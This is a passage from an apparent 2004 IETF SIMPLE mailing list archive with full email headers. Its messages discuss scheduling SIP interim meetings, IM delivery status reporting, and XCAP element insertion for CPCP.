	by ietf-mx with esmtp (Exim 4.12)
	id 1B5W0T-0006Em-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 15:26:45 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5VzV-000669-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 15:25:46 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Vyh-00060G-00; Mon, 22 Mar 2004 15:24:55 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5Vy9-00052f-Lg; Mon, 22 Mar 2004 15:24:21 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5PiF-0001C6-1b
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 08:43:31 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA24048
	for <simple@ietf.org>; Mon, 22 Mar 2004 08:43:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5PiD-0002Yh-00
	for simple@ietf.org; Mon, 22 Mar 2004 08:43:29 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5PhF-0002PR-00
	for simple@ietf.org; Mon, 22 Mar 2004 08:42:29 -0500
Received: from kcmso1.att.com ([192.128.133.69] helo=kcmso1.proxy.att.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5PgI-0002Bn-00; Mon, 22 Mar 2004 08:41:30 -0500
Received: from attrh5i.attrh.att.com ([135.38.62.12])
	by kcmso1.proxy.att.com (AT&T IPNS/MSO-5.0) with ESMTP id i2MDE4ec014858;
	Mon, 22 Mar 2004 07:41:00 -0600
Received: from OCCLUST04EVS1.ugd.att.com (135.38.164.12) by attrh5i.attrh.att.com (6.5.032)
        id 405DCB760002D044; Mon, 22 Mar 2004 08:40:26 -0500
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-MimeOLE: Produced By Microsoft Exchange V6.0.6489.0
Message-ID: <28F05913385EAC43AF019413F674A0170814599A@OCCLUST04EVS1.ugd.att.com>
Thread-Topic: [Sip] Proposed dates for SIPish interim meetings
Thread-Index: AcQP0K/Gnkp5lOXTSeyj4rH1PCkMogAQkKdA
From: "Dolly, Martin C, ALABS" <mdolly@att.com>
To: <sipping@ietf.org>
Cc: <sip@ietf.org>, <simple@ietf.org>
Content-Transfer-Encoding: quoted-printable
Subject: [Simple] RE: [Sip] Proposed dates for SIPish interim meetings
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 07:40:59 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hello,

I plan on attending the proposed interim meeting, and would apprecriate
not over lapping with T1S1, May 4-6.

Thanks,

Martin

-----Original Message-----
From: sip-admin@ietf.org [mailto:sip-admin@ietf.org]On Behalf Of Dean
Willis
Sent: Monday, March 22, 2004 12:40 AM
To: sipping@ietf.org
Cc: Glenn Parsons; sip@ietf.org; simple@ietf.org
Subject: [Sip] Proposed dates for SIPish interim meetings


Please reply to the SIPPING list -- other lists copied to make sure we=20
hit everybody.

We probably need to have at least three days of interim meetings between

now and IETF 60, covering topics in SIP, SIPPING, and SIMPLE.


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 18:03:36 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA23839
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:03:36 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8RjZ-0006Xa-DO
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:25 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i1PA7scV002385
	for simple-archive@odin.ietf.org; Wed, 25 Feb 2004 05:07:54 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AvvxH-0000cB-MB
	for simple-web-archive@optimus.ietf.org; Wed, 25 Feb 2004 05:07:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA07958
	for <simple-web-archive@ietf.org>; Wed, 25 Feb 2004 05:07:48 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AvvxE-0003M3-00
	for simple-web-archive@ietf.org; Wed, 25 Feb 2004 05:07:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AvvwL-0003FU-00
	for simple-web-archive@ietf.org; Wed, 25 Feb 2004 05:06:54 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Avvve-00039t-00; Wed, 25 Feb 2004 05:06:10 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Avvva-0000Jc-4g; Wed, 25 Feb 2004 05:06:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AvvvI-0000HY-UJ
	for simple@optimus.ietf.org; Wed, 25 Feb 2004 05:05:48 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA07884
	for <simple@ietf.org>; Wed, 25 Feb 2004 05:05:45 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AvvvE-00039N-00
	for simple@ietf.org; Wed, 25 Feb 2004 05:05:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AvvuT-00034R-00
	for simple@ietf.org; Wed, 25 Feb 2004 05:04:58 -0500
Received: from website12.com ([203.194.209.81])
	by ietf-mx with smtp (Exim 4.12)
	id 1Avvtu-0002y9-00
	for simple@ietf.org; Wed, 25 Feb 2004 05:04:22 -0500
Received: (qmail 14561 invoked from network); 25 Feb 2004 10:06:39 -0000
Received: from unknown (HELO VIKAS) (61.247.242.11)
  by website12.com with SMTP; 25 Feb 2004 10:06:39 -0000
From: "Vikas Tandon" <vikas@arciis.com>
To: "'Chris Boulton'" <cboulton@ubiquity.net>,
        "'Vijay K. Gurbani'" <vkg@lucent.com>, <hisham.khartabil@nokia.com>
Cc: <jdrosen@dynamicsoft.com>, <simple@ietf.org>
Subject: RE: [Simple] Advanced IM Reqs: Delivery status reporting
Message-ID: <001901c3fb86$87f2eda0$0100a8c0@VIKAS>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2616
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2727.1300
Importance: Normal
In-Reply-To: <45730E094814E44488F789C1CDED27AE0219B1B6@gbnewp0758m.eu.ubiquity.net>
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 25 Feb 2004 15:32:42 +0530
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi Chris,

In case your handset is off, the message delivered will be "202Accepted"
which can be used to tell the source that the message was not delivered
to the target. In case the message is not delivered (which means the
target is "open" according to the notifier/presence server and still
there is no response ("200OK") from the target, the presence server can
generate 480 Temporarily Unavailable - which tell the source that the
target did not get the message and it wasn't delivered.

Please let me know if I'm going on the wrong track.

Regards,
Vikas

-----Original Message-----
From: simple-admin@ietf.org [mailto:simple-admin@ietf.org] On Behalf Of
Chris Boulton
Sent: mercredi 25 f=E9vrier 2004 14:57
To: Vikas Tandon; Vijay K. Gurbani; hisham.khartabil@nokia.com
Cc: jdrosen@dynamicsoft.com; simple@ietf.org
Subject: RE: [Simple] Advanced IM Reqs: Delivery status reporting


Comments in-line - <<CJB>>.

	-----Original Message-----=20
	From: Vikas Tandon [mailto:vikas@arciis.com]=20
	Sent: Wed 25/02/2004 04:33=20
	To: 'Vijay K. Gurbani'; hisham.khartabil@nokia.com=20
	Cc: jdrosen@dynamicsoft.com; Chris Boulton; simple@ietf.org=20
	Subject: RE: [Simple] Advanced IM Reqs: Delivery status
reporting
=09
=09

	Agree with Vijay on the storm of notifications. The delivery in
case of
	page mode is ensured by the 200OK and in case of session is
ensured by
	the session being valid.

	<<CJB>> The 200 OK indicates the completion of a transaction.  I
don't see how this indicates the delviery

	of the MESSAGE to the required destination (e.g. your handset is
turned off - the transaction would complete but the message would be
delivered at a later date).

	 Identifying the case where the user has read
	the message or not is a debatable issue in case of IM as IM is
typical
	useful in case where you are expecting instant communication,

	<<CJB>> This draft is initially refering to pager-mode, one off
massaging.  I wouldn't expect an

	instance response to an SMS-style message.=20

	 so u can
	very well assume that if the message has reached the target
(ensured by
	the 200OK) and there is no response from the target, then either
the
	target is away from the interface or is unwilling to respond at
that
	time.

=09

	<<CJB>> I disagree - based on previous comments.

=09
	In case of group IM, this will become more complex.
=09
	Regards,
	Vikas Tandon
	Arciis Software Technologies
	www.arciis.com
=09
=09
	-----Original Message-----
	From: simple-admin@ietf.org [mailto:simple-admin@ietf.org] On
Behalf Of
	Vijay K. Gurbani
	Sent: mercredi 25 f=E9vrier 2004 03:48
	To: hisham.khartabil@nokia.com
	Cc: jdrosen@dynamicsoft.com; cboulton@ubiquity.net;
simple@ietf.org
	Subject: Re: [Simple] Advanced IM Reqs: Delivery status
reporting
=09
=09
	hisham.khartabil@nokia.com wrote:
=09
	> I see use cases for both: report-on-failure and
report-on-delivery.
=09
	Problem with affirmitive delivery notification is that it
	may cause notification storms when an IM is sent to a large
list.  Not
	all users will remember to turn delivery notification _off_ when
sending
	the IM to a large audience.
=09
	> Some people rely on the latter to learn when a recipient
actually
	> received (not necessarily read) the IM.=20
=09
	I can't argue with that, to be sure; but is that the norm?
=09
	It appears that there are two cases to consider: a) where
	the IM system is tied to a presence system, and b) where
	it is not.  In (a), a sender can be reasonably sure when
	he sends the message that the recipient got it.  A
	confirmation for each message would simply be too awkward, given
the
	volume of IMs that can be potentially exchanged.
	(b) is more akin to email; the sender sends a message
	not expecting an immediate response.  If the undelying
	network fails to deliver the message, it should let the
	sender know.  Otherwise, no further communications are
	needed.
=09
	> An natural extension to that is to learn when the IM was
actually
	> read.
=09
	I can see this as providing a utility in case (b) above.
=09
	> BTW, I don't see IM and SMTP as a fair comparison.
=09
	For store-and-forward IM, I think SMTP is a good comparison. For
real
	time interactive IM, I agree, it is not.
=09
	> IM and SMS is a better comparison.
=09
	I think we can -- and must -- do better than SMS.  AFAIK,
	if a SMS message is not delivered, the sender is not
	notified (correct me if I am wrong).  Once a sender sends
	a SMS, they generally assume that it will be delivered.
	We can do one better than SMS by notifying the sender if
	the IM could NOT be delivered.  If it is delivered (which
	will be a majority of the case), no notification needed.
=09
	Thanks.
=09
	- vijay
	--
	Vijay K. Gurbani
vkg@{lucent.com,research.bell-labs.com,acm.org}
	Wireless Networks Group/Internet Software and Services
	Lucent Technologies/Bell Labs Innovations, 2000 Lucent Lane, Rm
6G-440
	Naperville, Illinois 60566     Voice: +1 630 224 0216
=09
	_______________________________________________
	Simple mailing list
	Simple@ietf.org
	https://www1.ietf.org/mailman/listinfo/simple
=09
=09
=09
=09



This message has been scanned for viruses by MailControl -
www.mailcontrol.com J)X?X(Wz?=08=0C '~ff X)



_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 18:04:23 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA24069
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:04:23 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8RjY-0006YH-S6
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:24 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2MI10Ss030402
	for simple-archive@odin.ietf.org; Mon, 22 Mar 2004 13:01:00 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5TjP-0007uH-GT
	for simple-web-archive@optimus.ietf.org; Mon, 22 Mar 2004 13:00:59 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09156
	for <simple-web-archive@ietf.org>; Mon, 22 Mar 2004 13:00:55 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5TjN-0003pf-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 13:00:57 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5TiR-0003i4-00
	for simple-web-archive@ietf.org; Mon, 22 Mar 2004 13:00:00 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Thm-0003aH-00; Mon, 22 Mar 2004 12:59:18 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5ThY-0007Kj-PE; Mon, 22 Mar 2004 12:59:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B5ThI-0007Il-Di
	for simple@optimus.ietf.org; Mon, 22 Mar 2004 12:58:49 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA08928
	for <simple@ietf.org>; Mon, 22 Mar 2004 12:58:44 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5ThG-0003Yc-00
	for simple@ietf.org; Mon, 22 Mar 2004 12:58:46 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B5TgL-0003Rm-00
	for simple@ietf.org; Mon, 22 Mar 2004 12:57:50 -0500
Received: from mail.siemenscom.com ([12.146.131.10])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B5Tfs-0003Kg-00; Mon, 22 Mar 2004 12:57:20 -0500
Received: from fdns2.rolm.com (fdns2.rolm.com [165.218.1.59])
	by mail.siemenscom.com (8.9.3p092403/8.9.3) with ESMTP id JAA26947;
	Mon, 22 Mar 2004 09:56:38 -0800 (PST)
Received: from stca200a.bus.sc.rolm.com (stca200a.bus.sc.rolm.com [165.218.68.180])
	by fdns2.rolm.com (8.12.10/8.12.10) with ESMTP id i2MHvDdq027877;
	Mon, 22 Mar 2004 09:57:13 -0800 (PST)
Received: by stca200a.bus.sc.rolm.com with Internet Mail Service (5.5.2657.72)
	id <FFADBA9H>; Mon, 22 Mar 2004 09:57:12 -0800
Message-ID: <DA2CCB2AC5F7E447B18E19D786093BB201D3F86F@stca952a.eng.sc.rolm.com>
From: "Kozdon, Peter" <Peter.Kozdon@icn.siemens.com>
To: "'john.loughney@nokia.com'" <john.loughney@nokia.com>,
        dean.willis@softarmor.com, sipping@ietf.org
Cc: gparsons@nortelnetworks.com, sip@ietf.org, simple@ietf.org
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2657.72)
Content-Type: text/plain
Subject: [Simple] RE: [Sip] RE: [Sipping] Proposed dates for SIPish interim meeting
 s
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 22 Mar 2004 09:55:11 -0800
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60

The closest airport is Denver International (45 minutes drive)  - there is
at least 1 direct flight from Europe (LH via Frankfurt) 

-----Original Message-----
From: sip-admin@ietf.org [mailto:sip-admin@ietf.org] On Behalf Of
john.loughney@nokia.com
Sent: Sunday, March 21, 2004 10:13 PM
To: dean.willis@softarmor.com; sipping@ietf.org
Cc: gparsons@nortelnetworks.com; sip@ietf.org; simple@ietf.org
Subject: [Sip] RE: [Sipping] Proposed dates for SIPish interim meetings

Dean,

> As I understand it, the leading candidate for venue is the Boulderama 
> in Boulder, Colorado. Rohan's current proposal is to ask each attendee 
> to contribute $50 toward meeting fees (princiaplly, renting the room). 
> Of course, if somebody wants to sponsor the meeting and pick up the

Is there an option of someone hosting the meeting?  This is probably
easier to do than finding someone to foot the bill.  	

Also, Boulder is 3 to 4 hops away from Europe, which seems sub-optimal ...

John


_______________________________________________
Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
This list is for NEW development of the core SIP Protocol Use
sip-implementors@cs.columbia.edu for questions on current sip Use
sipping@ietf.org for new developments on the application of sip

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 18:07:17 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA24855
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:07:17 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8RjX-0006Xa-AU
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:23 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i1S7r92d013921
	for simple-archive@odin.ietf.org; Sat, 28 Feb 2004 02:53:09 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AwzHV-0003al-QA
	for simple-web-archive@optimus.ietf.org; Sat, 28 Feb 2004 02:53:05 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA06257
	for <simple-web-archive@ietf.org>; Sat, 28 Feb 2004 02:52:56 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AwzHL-0001Gh-00
	for simple-web-archive@ietf.org; Sat, 28 Feb 2004 02:52:55 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AwzGS-0001AF-00
	for simple-web-archive@ietf.org; Sat, 28 Feb 2004 02:52:00 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AwzFZ-00013C-00; Sat, 28 Feb 2004 02:51:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AwzFX-0002wB-18; Sat, 28 Feb 2004 02:51:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AwzEk-0002sT-E0
	for simple@optimus.ietf.org; Sat, 28 Feb 2004 02:50:14 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA05980
	for <simple@ietf.org>; Sat, 28 Feb 2004 02:50:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AwzEg-0000us-00
	for simple@ietf.org; Sat, 28 Feb 2004 02:50:10 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AwzDW-0000nc-00
	for simple@ietf.org; Sat, 28 Feb 2004 02:48:59 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AwzDH-0000hp-00
	for simple@ietf.org; Sat, 28 Feb 2004 02:48:43 -0500
Received: from dynamicsoft.com (dyn-tx-app-004.dfw.dynamicsoft.com [63.110.3.2])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i1S7mNNr010651;
	Sat, 28 Feb 2004 02:48:24 -0500 (EST)
Message-ID: <403FC2F5.6010306@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: hisham.khartabil@nokia.com
CC: CBoulton@ubiquity.net, simple@ietf.org
Subject: Re: [Simple] Update to xcap package
References: <2038BCC78B1AD641891A0D1AE133DBB7017977E6@esebe019.ntc.nokia.com>
In-Reply-To: <2038BCC78B1AD641891A0D1AE133DBB7017977E6@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 27 Feb 2004 17:21:41 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,DATE_IN_PAST_06_12 
	autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

inline.

hisham.khartabil@nokia.com wrote:

> 
>> -----Original Message----- From: ext Jonathan Rosenberg
>> [mailto:jdrosen@dynamicsoft.com] Sent: 25.February.2004 18:28 To:
>> Khartabil Hisham (Nokia-TP-MSW/Helsinki) Cc: CBoulton@ubiquity.net;
>> simple@ietf.org Subject: Re: [Simple] Update to xcap package

>> Can you provide some motivating cases for 1 and 2? Is there 
>> something in CPCP?
> 
> 
> In CPCP, you might need to replace a resource in the ACL, or change
> its access-type from allowed to blocked. The way XCAP is specified
> now, as we discussed, you need to know the exact position for the
> resource you want replace (they don't have unique IDs besides the URI
> they carry). This might be ok, if we always assume that the client
> has an exact copy of what is on the server. I.e. The client MUST
> always know the number of elements present and provide the position
> where to insert the new element as the last element, and therefore
> knows the exact position of the element to replace.

This is really an important assumption to verify or reject.

Things can get a lot easier and more flexible if we can generally assume 
that the client has a copy of the data its modifying, so that it can use 
position to effect insertions and modifications.

If its not possible, then I think we need to insist on unique attributes 
or it just gets really out of hand.


> 
> If that can't be guaranteed then we need 1 and 2 above for CPCP.
> 
> My proposal is:
> 
> a. If there is an attribute that uniquely identifies an element, then
> the client uses that to insert and/or replace. b. If there is no
> attribute that uniquely identifies an element, then the client can
> only insert an element as the last one in a list.

In both cases, I think that insertion should take place at the end of 
the list. This vastly simplifies subsequent position based operations on 
the document.

> 
> It would also be nice if, for a, the client can indicate the position
> it wants to insert, for hashing reasons.

This appears hard to do. I was unable to come up with a specific reason 
it would be needed. What do you mean by hashing?

-Jonathan R.


-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 18:10:22 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA25663
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 18:10:22 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8RjW-0006a4-Fv
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:22 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2JLrTPL014331
	for simple-archive@odin.ietf.org; Fri, 19 Mar 2004 16:53:29 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4Rvl-0003j4-3i
	for simple-web-archive@optimus.ietf.org; Fri, 19 Mar 2004 16:53:29 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26629
	for <simple-web-archive@ietf.org>; Fri, 19 Mar 2004 16:53:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4Rvj-0007WM-00
	for simple-web-archive@ietf.org; Fri, 19 Mar 2004 16:53:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B4Ruu-0007Ru-00
	for simple-web-archive@ietf.org; Fri, 19 Mar 2004 16:52:37 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4RuY-0007MG-00; Fri, 19 Mar 2004 16:52:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4RuM-0003T7-CS; Fri, 19 Mar 2004 16:52:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B4Rtu-0003RT-D7
	for simple@optimus.ietf.org; Fri, 19 Mar 2004 16:51:34 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA26514
	for <simple@ietf.org>; Fri, 19 Mar 2004 16:51:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4Rts-0007Jk-00
	for simple@ietf.org; Fri, 19 Mar 2004 16:51:32 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B4Rsy-0007Da-00
	for simple@ietf.org; Fri, 19 Mar 2004 16:50:37 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B4RsG-00074k-00
	for simple@ietf.org; Fri, 19 Mar 2004 16:49:52 -0500
Received: from dynamicsoft.com ([63.113.46.86])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2JLnWNr021497;
